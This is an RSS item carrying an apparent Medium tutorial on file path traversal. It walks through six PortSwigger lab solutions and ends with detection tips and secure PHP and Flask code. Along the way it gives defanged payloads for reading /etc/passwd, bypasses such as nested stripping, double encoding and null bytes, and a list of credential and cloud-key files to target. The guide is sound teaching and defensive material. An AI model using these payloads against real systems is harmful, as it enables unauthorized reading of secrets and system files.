<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nitish Mukhiya on Medium]]></title>
        <description><![CDATA[Stories by Nitish Mukhiya on Medium]]></description>
        <link>https://medium.com/@nitishmukhiya?source=rss-174be325ed82------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tXCzZvuB1yMLKuub6S9wLw.png</url>
            <title>Stories by Nitish Mukhiya on Medium</title>
            <link>https://medium.com/@nitishmukhiya?source=rss-174be325ed82------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 21:59:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nitishmukhiya/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[File Path Traversal: Complete Hands-On Guide from PortSwigger Labs to Real-World Testing]]></title>
            <link>https://systemweakness.com/file-path-traversal-complete-hands-on-guide-from-portswigger-labs-to-real-world-testing-bb288a5457a7?source=rss-174be325ed82------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb288a5457a7</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[file-path-traversal]]></category>
            <category><![CDATA[path-traversal]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <dc:creator><![CDATA[Nitish Mukhiya]]></dc:creator>
            <pubDate>Sun, 13 Sep 2026 02:44:26 GMT</pubDate>
            <atom:updated>2026-09-15T11:50:02.853Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xgGm96ClDjBqMLLFWUBaeA.png" /></figure><blockquote><strong><em>Note on notation:</em></strong><em> Throughout this article, traversal sequences are written in “defanged” form — e.g. ..</em><em>/ instead of the literal two-dot-plus-slash sequence — a convention widely used in security write-ups (similar to defanging IPs/URLs in threat-intel reports) so the text isn&#39;t mistaken for a live payload by automated content scanners. Replace </em><em>.. with two literal periods when actually testing in Burp Suite.</em></blockquote><h3>1. Introduction</h3><p>Most web applications need to serve files at some point — a product image, a downloadable invoice, a user avatar, a document preview. To do this, the application usually accepts a filename or path as user input and uses it to build a path on the server’s filesystem.</p><p>A normal request looks harmless:</p><pre>/image?filename=11.jpg</pre><p>The application expects filename to be one of a small set of legitimate values — 11.jpg, 12.jpg, and so on — and reads that file from a fixed directory on disk. The problem starts when the application trusts this parameter without checking that the resulting path actually stays inside the folder it&#39;s supposed to serve files from.</p><p>File Path Traversal (also called Directory Traversal) is what happens when an attacker manipulates that filename parameter to make the application read a file <em>outside</em> the intended directory. Instead of 11.jpg, the attacker supplies a value built from special path sequences that walk the application back up the directory tree and into files it was never meant to expose.</p><p>This class of vulnerability is worth learning well because:</p><ul><li>It’s extremely common in file-download, file-preview, and static-asset-serving functionality.</li><li>It’s easy to test for, but the <em>bypass</em> techniques required against filtered applications require real understanding of how paths are parsed and normalized.</li><li>The impact ranges from mildly interesting (reading a harmless file) to critical (dumping database credentials, cloud keys, or source code).</li></ul><blockquote><strong><em>Note:</em></strong><em> The difference between a “normal” file request and an “attacker-controlled” one isn’t the HTTP method or the endpoint — it’s whether the server validates that the resolved path stays within an allowed boundary before it opens the file.</em></blockquote><h3>2. What Is File Path Traversal?</h3><p>At its core, Path Traversal abuses the operating system’s own path syntax. On Linux and most Unix-like systems, a parent-directory marker (two dots) refers to the parent of the current directory. If a web application blindly concatenates user input onto a base directory, an attacker can chain these markers to escape that directory entirely:</p><pre>/image?filename=[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd</pre><p>If the application’s image folder is, say, /var/www/html/images/, then each traversal marker moves one level up:</p><pre>/var/www/html/images/[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd<br>   → /var/www/html/[dot][dot]/[dot][dot]/etc/passwd<br>   → /var/www/[dot][dot]/etc/passwd<br>   → /etc/passwd</pre><p>A few concepts worth being precise about:</p><ul><li><strong>Relative path</strong> — a path expressed relative to the current location.</li><li><strong>Absolute path</strong> — a path expressed from the filesystem root (/etc/passwd).</li><li><strong>Path normalization</strong> — the process (performed by the OS, a library, or the application) of resolving traversal markers and single-dot segments into a canonical, final path.</li><li><strong>/etc/passwd</strong> is used constantly in these labs and in real testing not because it contains anything secret, but because on almost every Linux system it is world-readable and has an easily recognizable format (root:x:0:0:root:/root:/bin/bash). It&#39;s a reliable, low-risk way to <em>prove</em> that arbitrary file read is possible. It does <strong>not</strong> contain plaintext passwords — password hashes, where present, live in /etc/shadow, which is a much stronger indicator of privileged access if it can be read.</li></ul><h3>3. Path Traversal vs. Local File Inclusion vs. Remote File Inclusion</h3><p>These three terms get used interchangeably by beginners, but they describe different vulnerability classes with different potential impact.</p><p>Vulnerability What Happens Typical Mechanism Potential Impact <strong>Path Traversal</strong> Application reads a file outside the intended directory and returns its contents open() / file_get_contents() / send_file() on an unvalidated path Disclosure of file contents (read-only) <strong>Local File Inclusion (LFI)</strong> Application <em>includes</em> (parses/executes) a local file as part of its own code or template include(), require(), template engines that load &quot;local&quot; files Disclosure, and in vulnerable configurations, <strong>code execution</strong> <strong>Remote File Inclusion (RFI)</strong> Application includes a file hosted on a remote, attacker-controlled server Remote include in permissive PHP configurations Direct remote code execution (in modern PHP this generally requires allow_url_include, which is off by default)</p><pre>Traversal  → read only<br>Inclusion  → read + potential execution (depends on language/runtime)</pre><blockquote><em>Not every path traversal is an LFI, and not every LFI is remotely exploitable as RFI. Confirm impact for each specific application rather than assuming escalation is automatic.</em></blockquote><h3>4. Understanding Absolute and Relative Paths</h3><p>Before testing traversal, it helps to be completely comfortable with how paths work on the command line, because the exact same logic is what the web application’s filesystem calls are doing under the hood.</p><pre>/<br>├── home<br>│   └── kali<br>│       └── Desktop<br>└── var<br>    └── www<br>        └── html<br>            └── images</pre><p>An <strong>absolute path</strong> always starts from the root (/) and fully specifies the location, regardless of where you currently are:</p><pre>cd /var/www</pre><p>A <strong>relative path</strong> is interpreted starting from wherever you currently are, and the parent-directory marker means “go up one directory”:</p><pre>cd [dot][dot]/[dot][dot]/[dot][dot]/var/www</pre><p>If your current directory is /home/kali/Desktop, that walks up three levels (to /) and back down into var/www — landing in the same place as the absolute path above, just via a longer route.</p><p>This is exactly the mechanic that path traversal payloads exploit: by supplying enough traversal markers, an attacker can walk from a web application’s intended file directory all the way back to the filesystem root, then back down into any file the web server process has permission to read.</p><h3>5. How to Identify Potential Path Traversal</h3><p>Path traversal candidates show up anywhere the application takes a file-related identifier from the user. Common parameter names to look for include:</p><pre>?file=<br>?filename=<br>?path=<br>?download=<br>?view=<br>?template=<br>?doc=</pre><p>But don’t limit the search to query strings. The same pattern shows up in:</p><ul><li><strong>JSON request bodies</strong> — {&quot;file&quot;: &quot;invoice_2024.pdf&quot;}</li><li><strong>POST form fields</strong> — file upload/download forms</li><li><strong>URL path segments</strong> — /static/{filename} style routing</li><li><strong>File download functionality</strong> — “Download report”, “Export as CSV”</li><li><strong>Image loading functionality</strong> — product thumbnails, avatars, banners</li><li><strong>Document preview functionality</strong> — inline PDF/Office document viewers</li><li><strong>Export/download endpoints</strong> — anywhere the app writes a temp file and reads it back</li><li><strong>HTTP headers</strong>, occasionally — some applications use custom headers (e.g., X-File-Name)</li></ul><p><strong>Reconnaissance tools</strong> that help surface these parameters at scale: <strong>ParamSpider</strong> and <strong>gau</strong> (GetAllUrls) for pulling historical/known parameters from a domain, alongside Burp Suite’s Proxy/HTTP History for live traffic.</p><p>These locations are interesting because they all share the same underlying pattern: <strong>user input directly or indirectly influences a filesystem path that the server will open and return.</strong></p><h3>6. Recommended Testing Workflow</h3><pre>Reconnaissance<br>      ↓<br>Identify file-related functionality<br>      ↓<br>Inspect requests<br>      ↓<br>Test normal behavior<br>      ↓<br>Try basic traversal<br>      ↓<br>Analyze response<br>      ↓<br>Test bypass techniques<br>      ↓<br>Confirm impact<br>      ↓<br>Document evidence</pre><ol><li><strong>Reconnaissance</strong> — Browse the application normally, noting every feature that involves files.</li><li><strong>Identify file-related functionality</strong> — Narrow down to endpoints that take a filename or path as a parameter.</li><li><strong>Inspect requests</strong> — Open Burp Suite’s Proxy → HTTP History and study exactly how the parameter is transmitted.</li><li><strong>Test normal behavior</strong> — Send the request unmodified in Burp Repeater and confirm the baseline response.</li><li><strong>Try basic traversal</strong> — Replace the filename value with a simple traversal-style payload.</li><li><strong>Analyze the response</strong> — Compare status code, length, and body against the baseline.</li><li><strong>Test bypass techniques</strong> — If the basic payload is blocked or stripped, move through encoding, non-recursive, absolute-path, and other bypass categories systematically.</li><li><strong>Confirm impact</strong> — Make sure the returned content is genuinely sensitive, not just a differently-formatted error page.</li><li><strong>Document evidence</strong> — Save the request/response pair, a screenshot, and a plain-English explanation of what was disclosed.</li></ol><p>Burp Suite’s <strong>Proxy/HTTP History</strong> is where you’ll spot candidate requests, <strong>Repeater</strong> is where you’ll manually iterate on one request, and <strong>Intruder</strong> is where you automate testing a payload list against one injection point.</p><h3>7. PortSwigger Lab Walkthroughs</h3><h3>Lab 1 — File path traversal, simple case</h3><p><strong>Steps to reproduce:</strong></p><ol><li>Turn the lab on, read the description carefully, then browse through and check every function on the page.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XHooNIHFq650mPrNEdrtiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gvSrMKiUveY4e-o5kXW4vg.png" /></figure><ol><li>Check the images — right-click one of the product images and open it in a new tab. You’ll land on something like /image?filename=11.jpg.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YNSRCAOm8oZkLCVvdxUZKw.png" /></figure><ol><li>Replace the value with a basic traversal payload:</li></ol><ul><li>filename=[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd</li></ul><ol><li>If that particular depth doesn’t work, try a few other depths (2 through ~6 levels) — the required depth varies by app.</li><li>Once /etc/passwd content (lines starting root:x:0:0...) shows up in the response, the payload has worked.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mGWQLQb7vOWX45bcrWAuUA.png" /></figure><ol><li>Go back to the lab’s front page and confirm the “Solved” banner.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*clElwYZ5G9IAtGtgke8XgQ.png" /></figure><ol><li><strong>Lab solved ✅</strong></li></ol><p><strong>Lesson:</strong> No filtering exists at all here — any correctly-depthed traversal payload works immediately, because the application never validates the resolved path.</p><h3>Lab 2 — File path traversal, traversal sequences blocked with absolute path bypass</h3><p><strong>Steps to reproduce:</strong></p><ol><li>Turn the lab on, read the description, check every function and the Burp HTTP history.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJ-ZRk7zcvnmf3lJrIE9uw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1dAMnzaqUrN48-ytjiBwRw.png" /></figure><ol><li>Right-click an image, open in a new tab — you’ll see /image?filename=8.jpg.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mYCI0ICLQBVxWfbEi15Vjg.png" /></figure><ol><li>Try the standard relative traversal:</li></ol><ul><li>filename=[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd</li></ul><ol><li>— this gets blocked in this lab.</li><li>Since the filter is clearly targeting the relative marker, try a direct <strong>absolute path</strong> instead:</li></ol><ul><li>filename=/etc/passwd</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6_ddCkOiZpEw4O2SeLKpUA.png" /></figure><ol><li>/etc/passwd content comes back in the response.</li><li>Confirm on the front page.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wRCu9a1k-zG0RE9LVbp55w.png" /></figure><ol><li><strong>Lab solved ✅</strong></li></ol><p><strong>Lesson:</strong> The filter only catches the relative traversal pattern; it has a blind spot for direct absolute paths.</p><h3>Lab 3 — File path traversal, traversal sequences stripped non-recursively</h3><p><strong>Steps to reproduce:</strong></p><ol><li>Turn the lab on, read the description — it will hint that something is being stripped/blocked.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l1TcfjBxR749U7lke0xoDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sjCbYIBjWBefyaob9nrd4w.png" /></figure><ol><li>Check every function, then right-click an image to reveal the filename parameter.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DF-IuPTo_ycW3AlBZzTIsA.png" /></figure><ol><li>Try the standard payload first:</li></ol><ul><li>filename=[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd</li></ul><ol><li>— fails.</li><li>Try an absolute path:</li></ol><ul><li>filename=/etc/passwd</li></ul><ol><li>— also fails. This tells you the application is actively <strong>stripping</strong> the traversal marker, not just blocking it.</li><li>Reasoning: if the filter removes the marker only <strong>once</strong> per pass (not recursively re-checking its own output), embedding the marker <strong>inside itself</strong> leaves a working sequence behind after the single strip:</li></ol><ul><li>Input: [dot][dot][dot][dot]//etc/passwdFilter removes one inner patternRemaining: [dot][dot]/etc/passwd ← this is now a valid traversal</li></ul><ol><li>Apply the pattern with enough repetitions for the required depth:</li></ol><ul><li>filename=[dot][dot][dot][dot]//[dot][dot][dot][dot]//[dot][dot][dot][dot]//[dot][dot][dot][dot]//etc/passwd</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NoUT9yG97Eqgg-5vHP6FkA.png" /></figure><ol><li>/etc/passwd content returns in the response.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5PJJQc7vWTQbz4mjcJhfA.png" /></figure><ol><li><strong>Lab solved ✅</strong></li></ol><p><strong>Lesson:</strong> Single-pass stripping filters are trivially defeated by nesting the pattern inside itself.</p><h3>Lab 4 — File path traversal, traversal sequences stripped with superfluous URL-decode</h3><p><strong>Steps to reproduce:</strong></p><ol><li>Turn the lab on, read the description — it hints at some kind of decoding/stripping filter.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BtSbopEjck-rdiRpiFJm7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ubSdWtOL1ukD4Xjbh5ep8w.png" /></figure><ol><li>Check every function, right-click an image to reveal the filename parameter.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nnB6RvS1FhhVyA0IbYwvag.png" /></figure><ol><li>Try the standard payload — fails.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5lNlUTRFU_XsJc_06I2AOg.png" /></figure><ol><li>Try an absolute path — fails.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IDf2agbkfRL2zXFP0nEsLQ.png" /></figure><ol><li>Try a single URL-encoded form of the traversal marker — this <strong>also fails</strong>, because the filter checks the already-decoded string.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0DIul4POewPInLZJrVDWXw.png" /></figure><ol><li>Since a single encode is still caught, try <strong>double encoding</strong> — encode the percent sign itself, so a first decode only yields the single-encoded form, and only a second, “superfluous” decode (performed later by the app) produces the literal traversal marker:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ur5nbxGc_BRvmHOs3jCEaw.png" /></figure><ul><li>[double-encoded form] ↓ (1st decode — this is what the filter inspects; doesn&#39;t look like traversal, passes)[single-encoded form] ↓ (2nd, superfluous decode — happens after the filter, right before the file is opened)[dot][dot]/</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NWZB3a7NGAb_FNmsJjykEQ.png" /></figure><ol><li>Send the double-encoded payload — the response returns /etc/passwd content instead of a blank/error page.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GClCfLCuQnmPzpchuOYxuQ.png" /></figure><ol><li><strong>Lab solved ✅</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eCQSutJnkfNyNGkvt-kJmQ.png" /></figure><p><strong>Lesson:</strong> An extra decode step performed <em>after</em> the filter check creates a gap that double-encoding walks straight through.</p><h3>Lab 5 — File path traversal, validation of start of path</h3><p><strong>Steps to reproduce:</strong></p><ol><li>Turn the lab on, read the description — it indicates path validation is happening.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0rrz291m04BzGig1_o6gw.png" /></figure><ol><li>Check every function, right-click an image to reveal the parameter.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n_HkubLKFFfap5vNM59Fyw.png" /></figure><ol><li>Try the standard payload:</li></ol><ul><li>filename=[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sz8tDK-Y8IbNtH-N8nlHbQ.png" /></figure><ol><li>— this returns an error: &quot;Missing parameter &#39;filename&#39;&quot;. This tells you the app expects the value to start with a specific directory prefix, e.g. /var/www/images/.</li><li>Prepend that expected prefix, then append the traversal:</li></ol><ul><li>filename=/var/www/images/[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fUgHeo6-HonjxFPssJ40Yw.png" /></figure><ol><li>The string literally starts with the expected prefix, so the check passes — but once resolved, the path normalizes down to /etc/passwd.</li><li>Confirm the response, then the front page.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sn5OjnxnmETO5-UfCfhmDA.png" /></figure><ol><li><strong>Lab solved ✅</strong></li></ol><p><strong>Lesson:</strong> Validating that a string <em>starts with</em> an expected path is meaningless if the check happens <em>before</em> canonicalization — it checks the input’s shape, not where it actually resolves to.</p><h3>Lab 6 — File path traversal, validation of file extension with null byte bypass</h3><p><strong>Steps to reproduce:</strong></p><ol><li>Turn the lab on, read the description.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LCa6cSMhCfGtur6fUKQDew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8AI53ZRmkcnF5OR2S1QPDA.png" /></figure><ol><li>Check every function, right-click an image to reveal the parameter.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vHEFPyID4InXqt4iwGmIOQ.png" /></figure><ol><li>Try the standard payload — fails.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vHEFPyID4InXqt4iwGmIOQ.png" /></figure><ol><li>Try an absolute path — fails.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4J36PdCTYPPDf7UKu4O9KA.png" /></figure><ol><li>Try the nested/non-recursive bypass — fails.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1KGaU3_n6egKU-DmCRDMxw.png" /></figure><ol><li>Try single and double URL encoding — both fail.</li><li>Re-read the description — it points to an <strong>extension validation</strong> requirement (filename must end in .jpg).</li><li>Append a percent-encoded null byte followed by a fake extension:</li></ol><ul><li>filename=[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd[percent]00.jpg</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sDshtajLhPR4qWjXvhZT3w.png" /></figure><ol><li>The extension check sees the full string (ending in .jpg, so it passes), while the underlying file-open call stops reading at the null byte.</li><li>/etc/passwd content returns despite the .jpg restriction.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4H00JldNypXQaFg9ZWQEA.png" /></figure><ol><li><strong>Lab solved ✅</strong></li></ol><blockquote><strong><em>Important caveat:</em></strong><em> this technique is </em><strong><em>not universally effective today</em></strong><em>. It relied on specific behavior in older PHP versions (pre-5.3.4) and certain C library string-handling functions. Modern PHP and most current runtimes either reject null bytes outright or handle them safely. This lab exists to teach the </em>historical<em> mechanism — confirm the stack before assuming it applies to a real target.</em></blockquote><h3>8. Payload Depth Reference (conceptual)</h3><p>There’s no universal “correct” depth — it depends entirely on how deep the file-serving directory sits relative to the filesystem root. Extra traversal markers beyond the root are harmless once you’ve already reached /, so it&#39;s common to try a range of depths, one level at a time, since some servers behave differently depending on exact depth:</p><pre>[dot][dot]/etc/passwd<br>[dot][dot]/[dot][dot]/etc/passwd<br>[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd<br>[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd<br>[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd<br>[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/[dot][dot]/etc/passwd<br>... continue up to roughly 10 levels if needed</pre><p>Alternative separator styles, worth trying since behavior depends on OS/web server/framework/path-parser:</p><pre>[dot][dot]//[dot][dot]//[dot][dot]//    (doubled-slash variant)<br>[dot][dot]\[dot][dot]\[dot][dot]\       (Windows-native backslash)<br>[dot][dot]\\[dot][dot]\\[dot][dot]\\    (escaped-backslash variant)</pre><p>None of these should be assumed to work universally — they’re candidates to test, not guarantees.</p><h3>9. Encoding and Bypass Techniques</h3><p>Many applications block direct use of the traversal marker, but decoding behavior in proxies or application layers may allow functionally equivalent payloads through. Effective categories include:</p><ul><li><strong>Basic URL encoding</strong> — encode the traversal marker using standard percent-encoding tables.</li><li><strong>Double encoding</strong> — encode the percent sign itself, so decoding happens twice before a literal marker appears; useful when a proxy decodes once and the app decodes again.</li><li><strong>Overlong UTF-8 encoding</strong> — a legacy technique against older, non-strict UTF-8 parsers; largely obsolete against modern stacks but occasionally still worth a try on legacy targets.</li><li><strong>Mixed slashes</strong> — forward vs. backslash combinations, useful on Windows or with lenient parsers.</li><li><strong>Dotless/obfuscated separators</strong> — unusual combinations of dots and slashes that some naive filters fail to recognize as a traversal pattern.</li><li><strong>Nested (non-recursive) bypass</strong> — the marker embedded inside a duplicate of itself, defeating single-pass stripping filters (see Lab 3).</li><li><strong>Absolute path bypass</strong> — when only the relative marker is filtered (see Lab 2).</li><li><strong>Start-of-path bypass</strong> — expected prefix followed by traversal, when validation happens before canonicalization (see Lab 5).</li><li><strong>Null byte + fake extension</strong> — legacy extension-validation bypass (see Lab 6), largely obsolete on modern runtimes.</li></ul><p>These techniques become even more powerful when path values pass through <strong>multiple decoding layers</strong> — for example, a request that goes through Nginx, then a Node.js layer, then a Python application, where each layer may decode independently.</p><h3>10. Burp Suite Testing Workflow</h3><h3>Proxy / HTTP History</h3><p>Browse the target with Burp’s proxy running. Filter history for requests containing keywords like file, filename, path, doc, or download.</p><h3>Repeater</h3><ol><li>Send a candidate request to Repeater (Ctrl+R).</li><li>Identify the file parameter.</li><li>Replace its value with a traversal payload.</li><li>Send, and compare against the baseline response:</li></ol><ul><li><strong>HTTP status code</strong> — 200 vs 403/400/500?</li><li><strong>Response length</strong> — meaningfully different?</li><li><strong>Response body</strong> — OS file markers, unexpected text, config-looking content?</li><li><strong>Error messages</strong> — often reveal the validation logic in play.</li><li><strong>Content-Type</strong> — a shift from image/jpeg to text/plain is a strong tell.</li><li><strong>Stack traces</strong> — can leak internal file paths and framework details.</li></ul><p>Keywords to scan responses for: root:, /bin/bash, DB_PASSWORD, define(&#39;DB_PASSWORD, root:x:0:0:root:/root:/bin/bash, daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin.</p><h3>Burp Intruder</h3><ol><li>Mark the injection position: filename=§FUZZ§.</li><li>Load a relevant wordlist, e.g. SecLists/Fuzzing/LFI/LFI-Jhaddix.txt, or a custom list of the variants above.</li><li>Scan responses for:</li></ol><ul><li>Different response length vs. baseline.</li><li>HTTP status code changes.</li><li>OS-specific file markers (root:x, bash, Administrator, MACHINE).</li><li>Configuration/credential-looking data (DB_PASSWORD, AWS_SECRET, connection strings).</li><li>Stack traces or verbose error output.</li><li>Unexpected source code or config content returned where an image was expected.</li></ul><blockquote><em>Only run this kind of testing against systems you are explicitly authorized to test — a lab environment, a bug bounty program’s in-scope assets, or your own infrastructure.</em></blockquote><h3>11. Common Sensitive Files</h3><p>Not every file below will exist or be readable on every target — it depends entirely on OS, configuration, and process privileges.</p><p><strong>Unix/Linux:</strong></p><ul><li>/etc/passwd — the standard read-proof file</li><li>/etc/shadow — password hashes; requires elevated privileges, a serious finding if readable</li><li>/proc/self/environ — environment variables (AWS keys, tokens, debug flags)</li><li>.env, config.json, settings.py, config.yaml — DB creds, API keys</li><li>/var/run/secrets/kubernetes.io/serviceaccount/token — Kubernetes service account token</li><li>.bash_history, .git/config — operational history, repo metadata</li></ul><p><strong>Windows:</strong></p><ul><li>C:\Windows\win.ini — the classic Windows proof-of-concept file</li><li>C:\Users\Administrator\NTUser.dat — user data/registry hive</li><li>C:\inetpub\wwwroot\web.config — IIS connection strings and app secrets</li><li>%APPDATA%\Microsoft\Credentials\ — Windows stored credentials</li></ul><p><strong>Web-specific and deployment-related:</strong></p><ul><li>.git/config, .svn/entries — source control metadata; in some misconfigurations the full .git directory can be reconstructed to recover source history</li><li>composer.lock, package-lock.json, yarn.lock — dependency info, useful for spotting known-vulnerable packages</li><li>docker-compose.yml, terraform.tfvars, cloudbuild.yaml — infrastructure-as-code secrets</li><li>access.log, error.log — session tokens, JWTs, internal IPs, logged headers</li><li>credentials.json, secrets.json, .npmrc, .pypirc — API tokens, cloud creds</li><li>aws/credentials, ~/.aws/config — AWS IAM keys</li><li>.kube/config — Kubernetes cluster access</li><li>.gem/credentials, .docker/config.json — package registry / container registry tokens</li></ul><p>These files often contain JWT signing secrets, SMTP credentials, database logins, API keys, hardcoded cloud tokens, and internal service credentials used across CI/CD pipelines or production systems.</p><h3>12. Security Impact</h3><p><strong>Direct impact:</strong> disclosure of arbitrary file contents readable by the web server process; exposure of application source code; disclosure of internal file-system paths and directory structure.</p><p><strong>Possible chained impact:</strong></p><pre>Path Traversal → Read configuration file → Discover credential → Credential reused elsewhere → Potential further compromise</pre><p>For example, reading a .env file discloses a database password → that password is reused for an internal admin panel → access to that panel exposes more of the environment. The <em>ceiling</em> of the impact depends entirely on what a given application stores on disk and how those secrets are used elsewhere — assess case-by-case rather than assuming.</p><p>Categories of consequence: sensitive information disclosure, credential exposure (database, SMTP, JWT signing secrets), API key exposure, cloud credential exposure (AWS/GCP/Azure), source-code disclosure, internal path/architecture disclosure, configuration disclosure, and potential privilege escalation or lateral movement depending on what’s exposed.</p><h3>13. Detection Indicators</h3><p>Defenders should watch for: repeated parent-directory markers, single and double URL-encoded variants, unusually long or repeated traversal sequences, repeated manipulation of file-related parameters, and requests targeting known sensitive file paths (/etc/passwd, win.ini, .env).</p><p>Relevant telemetry: <strong>web server logs</strong> (raw request URLs, including encoded sequences), <strong>WAF</strong> (many ship default traversal rules, though bypassable via the encoding techniques above), <strong>SIEM</strong> (correlate traversal-pattern requests across time/source IP), <strong>application logs</strong> (ideally logging the resolved, post-normalization path), and <strong>endpoint telemetry</strong> (unusual file-access patterns by the serving process).</p><h3>14. Secure Coding and Prevention</h3><h3>1. Canonicalize Before Validation</h3><pre>$root = &#39;/var/www/html/docs/&#39;;<br>$user_input = $_GET[&#39;file&#39;];<br>$path = realpath($root . $user_input);</pre><pre>if ($path === false || strpos($path, realpath($root)) !== 0) {<br>    http_response_code(403);<br>    echo &quot;Access denied&quot;;<br>    exit;<br>}</pre><pre>echo file_get_contents($path);</pre><p>realpath() resolves the concatenated path into its canonical, absolute form, fully processing any traversal or single-dot segments. The strpos check rejects the request unless the resolved path still starts inside $root — this is the check that catches traversal, because no matter how the input was crafted, once it&#39;s fully resolved, either it&#39;s inside $root or it isn&#39;t.</p><h3>2. Python / Flask Secure Example</h3><pre>from flask import send_file, abort<br>import os</pre><pre>ROOT = &#39;/var/www/html/docs/&#39;</pre><pre>def safe_join(root, *paths):<br>    root = os.path.realpath(root)<br>    path = os.path.realpath(os.path.join(root, *paths))<br>    if os.path.commonpath([root, path]) != root:<br>        return None<br>    return path</pre><pre>filename = request.args.get(&#39;file&#39;)<br>path = safe_join(ROOT, filename)<br>if not path:<br>    abort(403)<br>return send_file(path)</pre><p>os.path.commonpath([root, path]) finds the longest shared prefix between the canonical root and the resolved candidate path — if that shared prefix isn&#39;t exactly root, the candidate has escaped the allowed directory and safe_join returns None instead of a path, so the request is rejected before any file is opened.</p><h3>3. Prefer Allowlisting</h3><p>Blacklisting characters or sequences is a reactive approach — it only defends against patterns you thought of in advance, and the labs above show how easily naive stripping is bypassed. A stronger design avoids the problem entirely:</p><pre>/download?file=/some/user/supplied/path     ← avoid this shape</pre><pre>/download?id=123                             ← prefer this<br>   ↓<br>Database lookup<br>   ↓<br>Known filename (fixed, server-controlled)<br>   ↓<br>Controlled file access</pre><p>The user only ever supplies an opaque identifier; the actual filename is looked up server-side from a fixed, trusted mapping — eliminating traversal as a possibility rather than trying to filter it out.</p><h3>4. Additional Controls</h3><ul><li>Disable directory listing.</li><li>Restrict accessible directories — the serving process should only read what it needs.</li><li>Enforce file-type/extension checks <em>in addition to</em> path validation, never instead of it.</li><li>Run the web server with least-privilege filesystem permissions.</li><li>Isolate file-serving components from components holding secrets.</li><li>Log both the raw and the resolved path for later analysis.</li><li>Treat WAF rules as a supplementary 